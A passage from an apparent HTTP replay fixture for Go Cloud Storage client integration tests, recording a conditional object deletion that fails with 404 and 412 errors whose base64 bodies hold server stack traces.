G9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbmRkZWxcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6Ok9CSkVDVF9OT1RfRk9VTkQ6IE5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb25kZGVsXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5uYW1lLCBtZXNzYWdlPU5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbCwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5uYW1lLCBtZXNzYWdlPU5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29uZGRlbCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb25kZGVsOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6T0JKRUNUX05PVF9GT1VORDogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb25kZGVsXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbmRkZWxcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb25kZGVsIn19" - } - }, - { - "ID": "e26af2cd4673cc7c", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/conddel?alt=json\u0026ifMetagenerationMatch=2\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 412, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12051" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:03 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:03 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uopfd5TJBzhGauzgyZW0h-TNFtDHz34k0kjbeuTeQPnMGBaiSFz9FdWA2gxp7qKp-V586voh7kqHgnVSW_QI4bWEuC35pj8NbCmmpNL_9pstpCgckw" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImNvbmRpdGlvbk5vdE1ldCIsIm1lc3NhZ2UiOiJQcmVjb25kaXRpb24gRmFpbGVkIiwibG9jYXRpb25UeXBlIjoiaGVhZGVyIiwibG9jYXRpb24iOiJJZi1NYXRjaCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpJTkNPUlJFQ1RfTUVUQV9HRU5FUkFUSU9OX1NQRUNJRklFRDogRXhwZWN0ZWQgbWV0YWRhdGEgZ2VuZXJhdGlvbiB0byBtYXRjaCAyLCBidXQgYWN0dWFsIHZhbHVlIHdhcyAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogRXhwZWN0ZWQgbWV0YWRhdGEgZ2VuZXJhdGlvbiB0byBtYXRjaCAyLCBidXQgYWN0dWFsIHZhbHVlIHdhcyAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1QUkVDT05ESVRJT05fRkFJTEVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OklOQ09SUkVDVF9NRVRBX0dFTkVSQVRJT05fU1BFQ0lGSUVEOiBFeHBlY3RlZCBtZXRhZGF0YSBnZW5lcmF0aW9uIHRvIG1hdGNoIDIsIGJ1dCBhY3R1YWwgdmFsdWUgd2FzIDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PY